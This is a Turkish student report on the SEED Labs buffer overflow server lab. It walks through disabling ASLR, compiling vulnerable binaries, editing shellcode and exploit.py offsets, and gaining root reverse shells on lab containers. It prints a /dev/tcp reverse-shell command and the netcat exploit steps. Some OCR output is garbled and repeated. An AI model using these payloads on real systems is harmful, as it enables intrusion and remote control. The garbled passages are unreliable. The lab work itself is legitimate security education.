Buffer Overflow Attack (Server Version)

Nihal DEMİR 19010011016 Konya, Türkiye nihaldemiir@gmail.com

Özet—Bufferlar, verileri bir konumdan diğerine aktarılırken geçici olarak tutan bellek depolama bölgeleridir. Veri hacmi, bellek arabelleğinin depolama kapasitesini aştığında bir buffer overflow(arabellek taşması) meydana gelir [1].Buffer Overflow saldırılarının nihai amacı, hedef programa kötü amaçlı kod enjekte etmektir. Böylece kod, hedef programın ayrıcalığı kullanılarak çalıştırılabilmektedir. Bir buffer overflow saldırısı gerçekleştirildiğinde, program kararlılığını kaybeder veya çöker [7]. Uygulama kolaylığı sebebiyle saldırganlar tarafından tercih edilen yaygın bir saldırı türüdür. Bu çalışmada 32bit ve 65bit shellcodelar ile çalışan 4 farklı server üzerinde buffer overflow saldırıları gerçekleştirilmiştir. Çalışma sonucunda güvenlik önlemleri kapalı iken saldırılar rahatlıkla gerçekleştirilebilirken, çeşitli korumalar aktive edildiğinde saldırıların yapılmasının engellendiği görülmüştür.

Index Terms—buffer, buffer overflow, shellcode, stack, brute-force

I. Giriş

Buffer Overflow (arabellek taşması), bir programın arabellek sınırının ötesinde veri yazmaya çalıştığı koşul olarak tanımlanmaktadır [2].Buffer Overflow saldırıları genellikle, iç işlevler ve bağımsız değişkenler gibi yerel değişkenleri depolamaktan sorumlu olan, yığın gibi, bellek bölümlerinden oluşan belleği yok etmek ve ayrıcalıklı program işlevlerinin kontrolünü ele geçirerek değiştirebilmesi amacıyla gerçekleştirilmektedir [3]. Genellikle saldırganlar bir kök (root) programa saldırmakta ve bir kök kabuğu (root Shell) elde etmek için "exec(sh)" benzeri bir kod yürütme yöntemlerini izlemektedir [4].

Bu çalışmanın amacı, arabellek taşması sonucunda oluşan güvenlik açıkları hakkında bilgi edinmek ve bu açıklardan faydalanarak bir saldırı gerçekleştirmektir. Çalışmada güvenlik açığı bulunduran 4 farklı sunucu kullanılmaktadır. Saldırılar başlangıçta güvenlik önlemleri kapalı şekilde gerçekleştirilirken, ilerleyen aşamalarda güvenlik önlemleri açık şekilde gerçekleştirilerek farklı durum ve sonuçların gözlemlenmesi hedeflenmiştir.

Çalışmanın A-B başlıkları altında saldırı için gerekli ortamın kurulumuna yönelik aşamalar bulunmaktadır. C-D başlıkları altında 32bit için saldırılar gerçekleştirilirken E-F başlıkları altında 64bit için saldırılar gerçekleştirilmiş ve sonuçları gözlemlenmiştir. G-H başlıkları altında kapatılan güvenlik önlemleri açılarak saldırı tekrar gerçekleştirilmiştir. Elde edilen bilgiler gözlemlenerek Bulgular ve Sonuç başlıkları altında derlenmiştir.

II. GEÇMIŞ ÇALIŞMALAR

Buffer Overflow saldırıları, kullanım kolaylığı ve güvenlik açıklarının yaygınlığı sebebiyle tüm güvenlik saldırılarının önemli bir bölümünü oluşturmaktadır. Ulusal Standartlar ve Teknoloji Enstitüsü'ne göre, 2003 yılında bildirilen güvenlik açıklarının %23'ü arabellek taşması saldırılarını içermektedir (icat.nist.gov).

GIAC Certification'ın yayınladığı çalışmaya göre [5], buffer overflow sorununu çözmenin üç temel yöntemi bulunmaktadır.

A. Arabellek Boyutunun Sınırlandırılması

Taşma sorununu önlemenin bir yolu, arabelleğin boyut sınırlamasını kesin olarak uygulamaktır. Bu yönteme göre, bir arabelleğe, depolaması için tasarlandığından daha fazla verinin yerleştirilmesine izin verilmemelidir. Taşma sorunu ortadan kaldırılırsa, taşma saldırısı da ortadan kalkacaktır.

B. Yığın Doğrulama

Saldırıların kritik bir kısmı, saldırgan tarafından yığına itilen dönüş adresini değiştirmektir. Çağrılan prosedür değiştirilen dönüş adresini kullanarak geri döndüğünde, kontrol saldırganın koduna geçirilir ve saldırı başarılı olur. Çağrılan yordam yığının kurcalandığını algılayabilirse, uygulama saldırganın kodunu yürütmeden önce kendisini sonlandırarak saldırıyı engelleyebilecektir.

C. Transfer Sorumluluğu

Taşma sorununu çözmenin bir başka yolu da sorumluluğu başka bir kişi veya kuruluşa devretmektir. Ne yazık ki, sorumluluğu devretmek sorunu çözmeyecek; sadece çözmeyi başkasının sorunu yapacaktır. Bu gibi alternatif çözümler mevcut olsa da, yazılan kodun sorumluluğunu almak bir programı güvenceye almanın en iyi yoludur.

III. YÖNTEM

Bu çalışmada izlenen aşama ve yöntemler, SeedLabs 2.0 Buffer Overflow Attack Lab [2] yönergesi takip edilerek gerçekleştirilmiştir.

Çalışmada temel olarak ele alınan başlıklar şu şekildedir:

- * Buffer Overflow güvenlik açığı ve saldırısı
- * Bir işlev çağrısında yığın düzeni
- * Adres randomizasyonu, çalıştırılamaz yığın, StackGuard
- * Kabuk kodu

A. Laboratuvar Ortamının Kurulması

Bu çalışma Ubuntu 20.04 VM üzerinde test edilmiştir. Kurulum dosyaları 20.04 sürümüne uygun şekilde hazırlandığından, sürümü önerilen şekilde kullanmak projenin ilerleyen aşamalarında önem arz etmektedir.

- 1) Sanal Ortam: Gerekli ortamın sağlanması için VirtualBox üzerinden Ubuntu 20.04 ve Docker kurulumları gerçekleştirildi.
- 2) Karşı Önlemlerin Kapatılması: Çalışmaya başlamadan önce, saldırıyı zorlaştırmaması için adres randomizasyon önlemi kapatıldı.

 nd@nd-VirtualBox:-/Bownloads/Labsetup\$ sudo sysctl -w kernel.randomize_va_spac
 =0
 [sudo] password for nd:
 kernel.randomize_va_space = 0
- 3) Savunmasız Program: Server-code dosyasında bulunan stack.c programı kullanılacak olan savunmasız programdır. Bu programın arabellek taşması güvenlik açığı vardır ve temel amaç bu güvenlik açığından yararlanmak ve kök ayrıcalığı elde etmektir. Stack.c içerisinde açığa sebep olacak satır aşağıda verilmiştir:

```
// The following statement has a buffer overflow problem
strcpy(buffer, str);
```

Girdi en fazla 517 bayt uzunluğa sahip olmalıdır, ancak bof() içerisinde bulunan arabellek 517'den küçük ve program içerisinde tanımlanmış olan BUFSIZE uzunluğundadır. Verilen Kopyalama işlemi yapılırken Strcpy() sınırları denetlemediğinden arabellek taşması oluşur.

4) Derleme: Saldırının gerçekleştirilebilmesi için öncelikle savunmasız programın derlenmesi gerekmektedir. Gerekli komutlar makefile içerisinde verilmistir.

```
server.c × stack.c × Makefile ×

1 FLAGS = -z execstack -fno-stack-protector
2 FLAGS_32 = -stattc -m32
3 TARGET = server stack-L1 stack-L2 stack-L3 stack-L4
4
5 L1 = 100
6 L2 = 180
7 L3 = 200
8 L4 = 80
9
```

Makefile dosyasını derlemek için make komutu kullanıldı. Linux'ta make komutu, kaynak koddan bir uygulama ve dosya koleksiyonunu derlemek ve yönetmek için kullanılmaktadır.

```
ndgnd-VirtualBox:-/Downloads/Labsetup/server-code$ make
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o
stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 s
tack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack
k.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack
c.c
ndgnd-VirtualBox:-/Downloads/Labsetup/server-code$ ls
Makefile server server.c stack.c stack-L1 stack-L2 stack-L3 stack-L4
```

Make ile derleme işlemi gerçekleştirildi ve server-code dosyası içerisinde kullanılacak olan L1-L2-L3-L4 stackleri olusturuldu.



Derleme işleminden sonra, containerlar tarafından kullanılabilmeleri için binary dosyaları bof containerlara kopyalama işlemi gerçekleştirildi.

5) Container Kurulumu: Çalışma esnasında oluşturulan tüm containerlar arka planda çalışır durumda olmalıdır. Bir containerda komutları çalıştırmak için genellikle o containerda bir kabuk almak gereklidir.

docker compose up komutu kullanılarak containerlar oluşturuldu.

docker ps komutu kullanılarak container IDlerine erişim sağlandı. ID kullanılarak kabuk elde edildi.

Böylece içerisinde 4 container çalışan ortam kurulumu tamamlandı.

B. Kabuk Kodun Tanınması

Buffer overflow saldırılarının nihai amacı, hedef programa kötü amaçlı kod enjekte etmektir, böylece kod, hedef programın ayrıcalığı kullanılarak yürütülebilir. Kabuk kodu(shellcode), çoğu kod enjeksiyon saldırısında yaygın olarak kullanılmaktadır. Shellcode, temel olarak bir kabuk başlatan ve genellikle assembly dillerinde yazılan bir kod parçası olarak tanımlanmaktadır.

Shellcode dosyası içerisinde bulunan callshellcode.c programı derlendi.

```
nthalgnihal-VirtualBox:~/Downloads/Labsetup/shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
```

Shellcode32.py ve 64.py çalıştırılarak 32 bit ve 64 bit dosyaları oluşturuldu.

```
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ python3 shellcode_32.py
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ ls
32.out call_shellcode.c Makefile shellcode_32.py
a64.out codefile_32 README.md shellcode_64.py
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ ./shellcode_64.py
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ ./shellcode_64.py
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ ./shellcode_64.py
nthal@nthal-vtrtualBox:-/Downloads/Labsetup/shellcode$ .

**Makefile shellcode_32.py
**Makefile shellcode_32.py
**The code shellcode_32.p
```

ls -l komutu kullanılarak dosya boyutlarına ulaşıldı.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/shellcode$ ls -l codefile_*
-rw-rw-r-- 1 nthal nthal 136 Ara 19 23:24 codefile_32
-rw-rw-r-- 1 nthal nthal 165 Ara 19 23:28 codefile 64
```

a32 ve a64.out oluşturularak çalışması test edildi.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/shellcode$ ./a32.out
total 64
-rw-rw-r-- 1 nihal nihal 160 Dec 23 2020 Makefile
-rw-rw-r-- 1 nihal nihal 312 Dec 23 2020 README.md
-rwxrwxr-x 1 nihal nihal 16740 Dec 19 23:22 a32.out
-rwxrwxr-x 1 nihal nihal 1688 Dec 19 23:22 a34.out
-rw-rw-r-- 1 nihal nihal 476 Dec 23 2020 call_shellcode.c
-rw-rw-r-- 1 nihal nihal 476 Dec 19 23:24 codefile_32
-rw-rw-r-- 1 nihal nihal 165 Dec 19 23:28 codefile_64
-rwxrwxr-x 1 nihal nihal 1221 Dec 23 2020 shellcode_32.py
-rwxrwxr-x 1 nihal nihal 1221 Dec 23 2020 shellcode_64.py
Hello 32
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:127:134:fwupd-refresh user_,,;/run/systemd:/usr/sbin/nologin
```

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/shellcode$ ./a64.out
total 64
-rw-rw-r-- 1 nthal nthal 160 Dec 23 2020 Makefile
-rw-rw-r-- 1 nthal nthal 312 Dec 23 2020 README.nd
-rwxrwxr-x 1 nthal nthal 15740 Dec 19 23:22 a32.out
-rwxrwxr-x 1 nthal nthal 16888 Dec 19 23:22 a64.out
-rw-rw-r-- 1 nthal nthal 476 Dec 23 2020 call_shellcode.c
-rw-rw-r-- 1 nthal nthal 165 Dec 19 23:24 codeftle 32
-rw-rw-rr-- 1 nthal nthal 165 Dec 19 23:28 codeftle 64
-rwxrwxr-x 1 nthal nthal 121 Dec 23 2020 shellcode_32.py
-rwxrwxr-x 1 nthal nthal 1221 Dec 23 2020 shellcode_64.py
Hello 64
ssd:x:126:131:SSSD system user,,;/var/lib/sss:/usr/sbin/nologin
nthal:x:1000:1000:nthal,,;/home/nthal:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/;/usr/sbin/nologin
fwupd-refresh:x:127:134:fwupd-refresh user,,;/run/systemd:/usr/sbin/nologin
```

"Hello 32" ve "Hello 64" çıktıları alınarak test başarıyla tamamlandı.

Görev: Kabuk Kodun Değiştirilmesi

Shellcode dosyası içerisinde gelen "Hello 32" çıktısı değiştirilerek adı 'vırus' olan yeni bir dosya oluşturuldu.

```
17 # The * in this line serves as the position marker * "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *"

18 #"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *"

19 #"/bin/ls -l; echo 'Merhaba'; /bin/tail -n 2 /etc/passwd *"

20 " echo 'create a file virus'; /bin/touch /tmp/virus *"
```

Py dosyası tekrar kaydedilip çalıştırıldı ve içerik değiştirilerek vırus dosyası oluşturuldu. Tmp dosyası içerisinden kontrol edilerek dosyanın oluştuğu doğrulandı.

C. Level 1 Attack

1) Server: docker-compose.yml dosyası başlatıldığında, dört zorluk seviyesini temsil eden dört container çalışmaktadır. Bu adımda 1. Seviye yani 32 bit üzerinde çalışılacaktır.

Saldırıyı gerçekleştirebilmek için attack-code içerisinde bulunan exploit.py kodu kullanılacaktır.

```
nihal@nihal-VirtualBox:~/Downloads/Labsetup$ cd attack-code/
nihal@nihal-VirtualBox:~/Downloads/Labsetup/attack-code$ ls
brute-force.sh exploit.py
```

Sunucudan bilgi alabilmek için öncelikle iyi huylu bir mesaj iletilerek bağlantı kurulması sağlandı.

```
nthal@nthal-Virtual8ox:~/Downloads/Labsetup/attack-code$ echo hello | nc 10.9.0. 5 9090
^C
```

Server 1 için 10.9.0.5 9090(port numarası) ile bağlantı kurularak frame pointer(ebp) ve buffer address bilgilerine erisildi.

Ebp ve buffer address değerlerini karşılaştırmak için bir kez daha aynı mesaj gönderildi.

```
        server-1-10.9.0.5
        Got a connection from 10.9.0.1

        server-1-10.9.0.5
        Starting stack

        server-1-10.9.0.5
        Input size: 6

        server-1-10.9.0.5
        Frame Pointer (ebp) inside bof(): 0xffffd4d8

        server-1-10.9.0.5
        Buffer's address inside bof(): 0xffffd468

        server-1-10.9.0.5
        Got a connection from 10.9.0.1

        server-1-10.9.0.5
        Starting stack

        server-1-10.9.0.5
        Input size: 6

        server-1-10.9.0.5
        Frame Pointer (ebp) inside bof(): 0xffffd4d8

        server-1-10.9.0.5
        Buffer's address inside bof(): 0xffffd468

        server-1-10.9.0.5
        Buffer's address inside bof(): 0xffffd468
```

Görüldüğü üzere, çalışmaya başlarken adres randomizasyonu kapatıldığı için ebp ve buffer address değerlerinde herhangi bir değişiklik gerçekleşmemektedir.

"Returned properly" iletisi arabellek taşması olmadığı anlamına gelmektedir. Bu ileti yazdırılmazsa, program büyük olasılıkla çökmüştür. Sunucu yeni bağlantılar alarak çalışmaya devam edecektir.

Bir sonraki aşamada servera exploit.py içerisinde oluşturulan badfile dosyası gönderildi ve çıktı olarak tekrar "returned properly" iletisi alındı. Bunun sebebi badfile dosyasının henüz herhangi bir yük(payload) içerecek şekilde düzenlenmemiş olmasıdır.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1

Server-1-10.9.0.5 | Starting stack

Server-1-10.9.0.5 | Input size: 0

Server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd4d8

Server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd4d8

Server-1-10.9.0.5 | ==== Returned Properly ====
```

- 2) İstismar Kodu Yazma ve Saldırı Başlatma: Hedef programdaki arabellek taşması güvenlik açığından yararlanmak için bir yük(payload) hazırlamalı ve bir dosyanın içine kaydedilmelidir. Bunu yapmak için kurulum dosyası içerisinde bulunan exploit.py adlı temel program üzerinde değişiklikler yapılarak ilerlenecektir.
- 32 bit üzerinde işlem gerçekleştirileceğinden, exploit.py programı içerisine shellcode32 içerisindeki shellcode aktarıldı.

exploit.py kaydedilerek vırus file oluşturulup oluşturulmadığı kontrol edildi.

tmp dosyasında herhangi bir dosya oluşmadı çünkü henüz saldırı için tüm gereklilikler sağlanmadı.

Sonraki aşamada ebp ve buffer address değerleri exploit.py dosyasına eklendi.

```
        server-1-10.9.0.5
        Got a connection from 10.9.0.1

        server-1-10.9.0.5
        Starting stack

        server-1-10.9.0.5
        Input size: 0

        server-1-10.9.0.5
        Frame Pointer (ebp) inside bof():

        server-1-10.9.0.5
        Buffer's address inside bof():

        server-1-10.9.0.5
        Berver-1-10.9.0.5
```

Ebp ve buffer address değerlerinin son 3 hanesi return değeri hesaplamak için kullanıldı.

Değerler hexadecimal olduğu için hesaplama aşamasında pythondan yararlanıldı.

```
hihal@nihal-VirtualBox:~/Downloads/Labsetup/attack-code$ python3
Python 3.8.10 (default, Nov 14 2022, 12:59:47)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>> 0x4d8-0x468
112
>>>
```

Server 1 için arabellek değerinin 517 olduğu bilinmektedir. Bu bilgiden yola çıkılarak shellcode başlangıcını badfile dosyasının sonuna eklenecek şekilde düzenlendi.

Ebp ve return addres değerleri yerlerine yazılarak offset değeri hesaplandı. Offset hesaplanırken 32 bit için dosya içerisinde verilen +4 değeri ile işlem yapıldı.

exploit.py dosyası güncellenmeden önce ve güncellendikten sonra dosya boyutu yazdırılarak aradaki fark gözlemlendi.

```
nihal@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$ ls badfile brute-force.sh exploit.py nihal@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$ ls -l badfile -rw-rw-r-r--1 nihal nihal 0 #ra 22 02:17 badfile nihal@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$
```

```
nlhal@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$ ./exploit.py
nlhai@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$ ls -l badfile
-rw-rw-r-- 1 nihal nihal 517 Ara 24 13:47 badfile
nlhal@nihal-VirtualBox:-/Downloads/Labsetup/attack-code$
```

Shellcode yerleşimini inceleyebilmek için bless hex editor kurulumu gerçekleştirildi.

```
Inthal@nthal-VirtualBox:-/Desktop$ sudo add-apt-repository universe [sudo] password for nthal:
'universe' distribution component is already enabled for all sources.
nthal@nthal-VirtualBox:-/Desktop$ sudo apt update
Htt:: https://fdownload.docker.com/linux/ubuntu focal InRelease
Htt:: http://tr.archive.ubuntu.com/ubuntu focal InRelease
Htt:3 http://tr.archive.ubuntu.com/ubuntu focal-updates InRelease
Htt:4 http://tr.archive.ubuntu.com/ubuntu focal-security InRelease
Htt:5 http://tr.archive.ubuntu.com/ubuntu focal-backports InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
1 package can be upgraded. Run 'apt list --upgradable' to see it.
nthal@nthal-VirtualBox:-/Desktop$ sudo apt install bless
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
```

Seçili alanda shellcode adres yerleşimi görülmektedir.

Hex editor içerisinde offset değeri bulunarak başlangıç adresi ile hesaplanan offset değerinin doğruluğu karşılaştırıldı.



Hex editor üzerinde görülen return değeri ayarlanan return değeri ile karşılaştırıldı.

```
40 # and put it somewhere in the payload # Change this number 10 or other numbers 42 offset = 112+4 # Change this number 43 # Change this number 43 # Change this number 5 # Change this number 64 # Change this number 64 # Change this number 65 # Change this number 65 # Change this number 65 # Change this number 66 # Change this number 67 # Change this number 67 # Change this number 68 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # Change this number 69 # C
```

Hesaplanan değer return değeri ile eşleştiği görülmektedir, ancak intel CPUlar RAM'e yazma işlemini litte endian olarak gerçekleştirdiği için, 0X FF FF D4 E2 değeri hex editorde ters şekilde yazılmaktadır.

Exploit.py dosyası içeriğinde yapılması gereken değişiklikler bitirilerek tekrar derlendi. Derleme sonucu oluşan badfile dosyası tekrar server 1'e gönderildi.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ cat badfile | nc 10.9.0.5 9090 nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ root@0e6861d60688:/bof# ls /tmp/virus

server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 517 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd4d8 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd4d8 server-1-10.9.0.5 | create a file virus
```

Dosya gönderildikten sonra vırus dosyasının oluşturulup oluşturulmadığını kontrol etmek için tmp içeriğine erişilerek dosyanın oluştuğu doğrulandı.

Server bağlantısı incelendiğinde saldırıdan önce "Returned Properly" olarak dönen iletinin "create a file virus" olarak döndüğü gözlemlendi.

3) Ters Kabuk: Çalışmanın hedefi sunucuda bir kök kabuk almak ve böylece istenilen herhangi bir komutu yazarak çalıştırabilmektir. Uzak bir makine üzerinde çalışıldığından, sunucunun /bin/sh çalıştırmasını sağlamak, kabuk programını kontrol edebilmeyi sağlamayacaktır. Ters kabuk, bu sorunu

çözmek için tipik bir tekniktir [2]. Bu aşamada kodlar üzerinde değişiklik yapılarak ters kabuk işlemi gerçekleştirilmektedir.

Exploit.py dosyasındaki create file virus satırı kapatılarak yönergenin Bölüm 10 başlığı altında bulunan komut satırı uygulandı.

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

Değiştirilen komut satırının doğru çalışması için kendi makine adresimize ulaşmamız gerekmektedir. ip addr komutu ile lokal makinenin adresine erişim sağlandı ve exploit.py dosyasına bulunan adres yazıldı.

Saldırganlar tarafından yaygın olarak kullanılan bir program, "-l" seçeneğiyle çalışıyorsa, belirtilen bağlantı noktasında bir bağlantıyı dinleyen bir TCP sunucusu haline gelen netcat'tir. Bu sunucu programı temel olarak istemci tarafından gönderilen her şeyi yazdırır ve sunucuyu çalıştıran kullanıcı tarafından yazılan her şeyi istemciye gönderir [2].

9090 numaralı bağlantı noktasında bir bağlantıyı dinlemek için netcat kullanıldı.

```
nihal@nihal-VirtualBox:~/Downloads/Labsetup/attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
```

exploit.py dosyası tekrar çalıştırarak güncellendikten sonra, tekrar bir bağlantı gönderildi.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ ./exploit.py
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ cat badfile | nc 10.9.0.5 9090
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$

nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 52278
root@0e6861d60688:/bof#
```

Dinleyici üzerinde görüldüğü üzere bağlantı başarıyla gerçekleştirildi.

Bir ağ arabirimine adres atamak ve yürürlükteki ağ arabirimi konfigürasyon bilgilerini yapılandırmak ya da görüntülemek için ifconfig komutu kullanılmaktadır [6].

Ifconfig komutu ile ip adresi kontrol edildi ve server 1'in root kontrolünü elde ettiği görüldü.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 52278
root@0e6861d60688:/bof# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
   ether 62:42:63=09:00:05 txqueuelen 0 (Ethernet)
   RX packets 436 bytes 44871 (44.8 KB)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 50 bytes 2973 (2.9 KB)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
   inet 127.0.0.1 netmask 255.0.0.0
   loop txqueuelen 1000 (Local Loopback)
   RX packets 0 bytes 0 (0.0 B)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 0 bytes 0 (0.0 B)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@0e6861d60688:/bof#
```

D. Level 2 Attack

Bu aşamada, önemli bir bilgi parçasını gizlenerek saldırının zorluğu arttırılacaktır. Yeniden 32 bitlik program sunucusuna iyi huylu iletiler gönderilir. Sonucunda, sunucu arabelleğin adresi olan yalnızca bir ipucu verir; çerçeve işaretçisinin (frame pointer - ebp) değeri gösterilmez. Bu, arabelleğin boyutunun bilinmediği anlamına gelir. Bu noktada, ters kabuk tekniği kullanılarak bir kök kabuk elde edilmesi beklenmektedir. Yalnızca bir payload dosyası oluşturulacak, kaba kuvvet yöntemi kullanılmayacaktır. Ne kadar çok deneme gerçekleştirilirse, kurban tarafından o kadar kolay tespit edileceğinden, deneme sayısını en aza indirmek saldırılar için önemlidir.

İkinci saldırı için server 1'den çıkış yapılarak server 2'ye bağlanıldı.Saldırı ve eylemlerin sonuca etkisini görmek için bir kabuk açıldı.

```
nthalanthal-VirtualBox:-/Downloads/Labsetup$ sudo docker exec -it ecf22eb8341d /bin/bash [sudo] password for nthal: root@ecf2eb8341d:/bbf#
```

Server 2'nin bilgilerine erişebilmek için öncelikle iyi huylu bir mesaj iletildi.

```
nthalgmthal-VirtualBox:-/Downloads/Labsetup/attack-code$ echo hello | nc 10.9.0.6 9090 AC

server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd418 server-2-10.9.0.6 | ==== Returned Properly ====
```

Bu saldırı için kullanılacak ayrı bir exploit.py dosyası oluşturuldu. Elde edilen buffer address ve buffer size bilgileri doğrultusunda içerik düzenlendi. Buffer size değerine ebp değeri olmadan erişilemediğinden, bunun yerine yönergede verilen buffer size aralığı baz alınarak adımlar gerçekleştirildi.

Yeni exploit.py dosyası tekrar derlendi. Hex editor ile yeni oluşturulan badfilein shellcode kısmı incelendi.

Return adresi incelendiğinde her 4 byteta tekrar ettiğini görüldü. Hexadecimal çeviri yapılarak adres doğruluğu teyit edildi.

Daha sonra tekrar ters kabuk yöntemi kullanılarak saldırı uygulandı ve dosya başarılı bir şekilde oluşturuldu.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ cat badfile | nc 10.9.0.6 9090
root@ecf22eb8341d:/bof# ls /tmp/
virus
root@ecf22eb8341d:/bof#
```

Hex editor üzerinden tekrar incelendiğinde, shell codeun güncellendiği gözlemlendi.

Netcat ile tekrar dinleme işlemi başlatıldı. Daha sonra bir yük(payload) ile badfile dosyası saldırı olarak gönderilerek kök erişimi sağlandı.

```
nthalgnthal-VirtualBox:-/Downloads/Labsetup/attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090

nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ cat badfile | nc 10.9.0.6 9090
Ac

nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 57680
contection received on 10.9.0.6 57680
root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

